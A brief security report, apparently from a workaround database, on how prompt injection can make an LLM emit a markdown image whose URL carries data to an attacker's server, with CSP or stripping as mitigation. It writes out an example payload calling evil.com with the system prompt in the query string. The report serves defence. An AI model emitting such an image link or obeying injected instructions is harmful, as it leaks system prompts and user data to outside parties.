Report #74526
[gotcha] Data Exfiltration via Markdown Image Rendering in Chat UIs
Strip markdown image syntax \!\[alt\]\(url\) from LLM outputs or configure the chat UI to block auto-fetching of external images using Content Security Policy \(CSP\).
Journey Context:
Security teams focus on text-based exfiltration but overlook side-channels. If an attacker injects a prompt commanding the LLM to output \!\[exfil\]\(https://evil.com/log?data=\[system\_prompt\]\), the user's browser will automatically make an HTTP GET request to the attacker's server when rendering the markdown, silently exfiltrating the data.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T07:41:28.806058+00:00— report_created — created